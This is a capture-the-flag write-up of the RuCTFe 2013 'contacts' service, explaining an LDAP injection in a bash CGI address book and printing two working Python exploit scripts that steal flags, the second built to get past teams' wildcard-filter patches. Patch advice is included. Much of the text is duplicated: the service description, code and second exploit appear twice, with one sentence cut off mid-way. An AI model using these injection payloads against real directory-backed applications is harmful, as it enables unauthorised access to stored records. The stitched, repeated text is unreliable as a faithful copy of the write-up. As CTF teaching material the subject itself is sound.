RuCTFe 2013 - contacts write up
We (FluxFingers) just finished the RuCTFe 2013 with the 2nd place. At this point I want to thank the organizers for this great CTF. It was definitely the best CTF this year.
Now to the write-up of the "contacts" service. The service consisted of a apache2 webserver, a LDAP server and a bash cgi script. The apache2 webserver and the LDAP server were communicating via a socket file. The webserver was listening on port 8000. The webpage that was shown was a address book in which new contacts can be added (with a password), contacts can be searched and all information about a contact can be seen if the password was known.
The first thing that was suspicious was the information page case:
[...]
info_page() {
header
if [[ $password = *'*'* ]]; then
echo Security alert
return
fi
local results=`$ldapsearch -LLL -H $ldapsocket -x -b "dc=ructfe,dc=org" -s sub "(&(objectclass=inetOrgPerson)(cn=${name} ${surname})(userPassword=${password}))"`
[...]
The variables name, surname and password can be controlled by the attacker. So first I thought about a RCE at this point. But I was not able to get one because of the ${} substring part. But a LDAP injection was possible (I had the same plan for a challenge for the hack.lu, but now I have to get a new idea
). We can see that the filter for the search request uses an AND statement with three elements. So the search request looks like this "objectclass=inetOrgPerson AND cn=$name $surname AND userPassword=$password". LDAP (like other languages for databases) got a wildcard symbol ("*"). So when we can get the request like this "objectclass=inetOrgPerson AND cn=* AND userPassword=*" we can get every address book entry. But the "*" is filtered out from the password. And now comes the LDAP injection into play. We can enter the following for the surname "*)(|(userPassword=*" and a password that ends with ")" for the userPassword in order to get the following request "(&(objectclass=inetOrgPerson)(cn=* *)(|(userPassword=*)(userPassword=placeholder)))". This request looks like this "objectclass=inetOrgPerson AND cn=* AND (userPassword=* OR userPassword=placeholder)". And we see: win! Our exploit looked like this:
#!/usr/bin/python
import requests
import re
import sys
import os
import time
import urllib
import random
lastflags = 20
ip = sys.argv[1]
# generate random password
password_text = ""
for i in range(random.randint(5,10)):
password_text += chr(random.randint(65,90))
url = "http://" + ip + ":8000/?action=info&name=%2a&surname=*%29%28|+%28userPassword%3D*&password=" + password_text + "%29"
session = requests.Session()
try:
r1 = session.get(url)
except:
sys.exit()
output = r1.text
r = re.compile('\w{31}=', re.DOTALL)
flags = list()
for m in r.finditer(output):
flag = m.group(0)
flags.append(flag)
if lastflags < len(flags):
for i in range(lastflags):
print flags[(len(flags) -1 - i)]
else:
for flag in flags:
print flag
How can we fix this? Easy, we can make a check if the "*" symbol is used by name or surname. But this is done by a lot of teams. So how can we circumvent their patch? For this we wrote a second exploit.
We can form the query to something like this "objectclass=inetOrgPerson AND cn=Name Surname AND (NOT userPassword=placeholder OR userPassword=placeholder2)". This request does not need any wildcard, but the name and surname. But luckily the search request allows the "*" wildcard. So we extract all names and surnames with the search function of the service, then we generate our query. Our exploit looked like this:
#!/usr/bin/python
import requests
import re
import sys
import os
import time
import urllib
import random
lastflags = 20
ip = sys.argv[1]
url1 = "http://" + ip + ":8000/?action=search&q=%2a"
session = requests.Session()
try:
r1 = session.get(url1)
except:
sys.exit()
r = re.compile('<div class="name" style="font-size: x-large; margin-bottom: 5px"><b> \w+ \w+ </b></div>', re.DOTALL)
name_list = list()
for m in r.finditer(r1.text):
line = m.group(0)
fullname = line[69:(len(line) - 11)]
name_list.append(fullname.split())
for name_pair in name_list:
# generate random password
password_text = ""
for i in range(random.randint(5,10)):
password_text += chr(random.randint(65,90))
# generate random password
password_text2 = ""
for i in range(random.randint(5,10)):
password_text2 += chr(random.randint(65,90))
# generate timestamp and only get flags that are not older than 20 minutes
current_time = time.localtime()
minute = current_time[4] - 20
hour = current_time[3]
if minute < 0:
minute += 60
hour -= 1
# YEAR + MONTH + DAY + HOUR - 1 + MIN + SEC + "Z"
timestamp = str(current_time[0]) + str(current_time[1]) + str(current_time[2]) + str(hour - 1) + str(minute) + str(current_time[5]) + "Z"
url2 = "http://" + ip + ":8000/?action=info&name=" + name_pair[0] + "&surname=" + name_pair[1] + "%29%28createTimestamp%3E=" + timestamp + "%29%28|%28!%28userPassword=" + password_text2 + "%29&password=" + password_text + "%29"
try:
r2 = session.get(url2)
except:
sys.exit()
output = r2.text
r = re.compile('\w{31}=', re.DOTALL)
flags = list()
for m in r.finditer(output):
flag = m.group(0)
flags.append(flag)
if lastflags < len(flags):
for i in range(lastflags):
print flags[(len(flags) -1 - i)]
else:
for flag in flags:
print flag
As you can see, the exploit generates a timestamp and uses it in the query. This is done to only get the entries that were added in the last 20 minutes. When we are not doing this, we get all flags on every request (even the ones that are expired). The request looks like this "(&(objectclass=inetOrgPerson)(cn=Name Surname)(createTimestamp>=TIMESTAMP)(|(!(userPassword=placeholder))(userPassword=placeholder2)))". The downside of this exploit is, that it performs a lot of requests. So this was just an additional exploit for all teams that patched their services with the quick and dirty search for the "*" symbol. How can we patch this? Search for "(" or ")" in the name/surname. Or just allow only letters in the name/surname.
Luckily, we found this bug at the beginning of the CTF and until the end it was the service that got us the most points.
Now to the write-up of the "contacts" service. The service consisted of a apache2 webserver, a LDAP server and a bash cgi script. The apache2 webserver and the LDAP server were communicating via a socket file. The webserver was listening on port 8000. The webpage that was shown was a address book in which new contacts can be added (with a password), contacts can be searched and all information about a contact can be seen if the password was known.
The first thing that was suspicious was the information page case:
[...]
info_page() {
header
if [[ $password = *'*'* ]]; then
echo Security alert
return
fi
local results=`$ldapsearch -LLL -H $ldapsocket -x -b "dc=ructfe,dc=org" -s sub "(&(objectclass=inetOrgPerson)(cn=${name} ${surname})(userPassword=${password}))"`
[...]
The variables name, surname and password can be controlled by the attacker. So first I thought about a RCE at this point. But I was not able to get one because of the ${} substring part. But a LDAP injection was possible (I had the same plan for a challenge for the hack.lu, but now I have to get a new idea

#!/usr/bin/python
import requests
import re
import sys
import os
import time
import urllib
import random
lastflags = 20
ip = sys.argv[1]
# generate random password
password_text = ""
for i in range(random.randint(5,10)):
password_text += chr(random.randint(65,90))
url = "http://" + ip + ":8000/?action=info&name=%2a&surname=*%29%28|+%28userPassword%3D*&password=" + password_text + "%29"
session = requests.Session()
try:
r1 = session.get(url)
except:
sys.exit()
output = r1.text
r = re.compile('\w{31}=', re.DOTALL)
flags = list()
for m in r.finditer(output):
flag = m.group(0)
flags.append(flag)
if lastflags < len(flags):
for i in range(lastflags):
print flags[(len(flags) -1 - i)]
else:
for flag in flags:
print flag
How can we fix this? Easy, we can make a check if the "*" symbol is used by name or surname. But this is done by a lot of teams. So how can we circumvent their patch? For this we wrote a second exploit.
We can form the query to something like this "objectclass=inetOrgPerson AND cn=Name Surname AND (NOT userPassword=placeholder OR userPassword=placeholder2)". This request does not need any wildcard, but the name and surname. But luckily the search request allows the "*" wildcard. So we extract all names and surnames with the search function of the service, then we generate our query. Our exploit looked like this:
#!/usr/bin/python
import requests
import re
import sys
import os
import time
import urllib
import random
lastflags = 20
ip = sys.argv[1]
url1 = "http://" + ip + ":8000/?action=search&q=%2a"
session = requests.Session()
try:
r1 = session.get(url1)
except:
sys.exit()
r = re.compile('<div class="name" style="font-size: x-large; margin-bottom: 5px"><b> \w+ \w+ </b></div>', re.DOTALL)
name_list = list()
for m in r.finditer(r1.text):
line = m.group(0)
fullname = line[69:(len(line) - 11)]
name_list.append(fullname.split())
for name_pair in name_list:
# generate random password
password_text = ""
for i in range(random.randint(5,10)):
password_text += chr(random.randint(65,90))
# generate random password
password_text2 = ""
for i in range(random.randint(5,10)):
password_text2 += chr(random.randint(65,90))
# generate timestamp and only get flags that are not older than 20 minutes
current_time = time.localtime()
minute = current_time[4] - 20
hour = current_time[3]
if minute < 0:
minute += 60
hour -= 1
# YEAR + MONTH + DAY + HOUR - 1 + MIN + SEC + "Z"
timestamp = str(current_time[0]) + str(current_time[1]) + str(current_time[2]) + str(hour - 1) + str(minute) + str(current_time[5]) + "Z"
url2 = "http://" + ip + ":8000/?action=info&name=" + name_pair[0] + "&surname=" + name_pair[1] + "%29%28createTimestamp%3E=" + timestamp + "%29%28|%28!%28userPassword=" + password_text2 + "%29&password=" + password_text + "%29"
try:
r2 = session.get(url2)
except:
sys.exit()
output = r2.text
r = re.compile('\w{31}=', re.DOTALL)
flags = list()
for m in r.finditer(output):
flag = m.group(0)
flags.append(flag)
if lastflags < len(flags):
for i in range(lastflags):
print flags[(len(flags) -1 - i)]
else:
for flag in flags:
print flag
As you can see, the exploit generates a timestamp and uses it in the query. This is done to only get the entries that were added in the last 20 minutes. When we are not doing this, we get all flags on every request (even the ones that are expired). The request looks like this "(&(objectclass=inetOrgPerson)(cn=Name Surname)(createTimestamp>=TIMESTAMP)(|(!(userPassword=placeholder))(userPassword=placeholder2)))". The downside of this exploit is, that it performs a lot of requests. So this was just an additional exploit for all teams that patched their services with the quick and dirty search for the "*" symbol. How can we patch this? Search for "(" or ")" in the name/surname. Or just allow only letters in the name/surname.
Luckily, we found this bug at the beginning of the CTF and until the end it was the service that got us the most points.
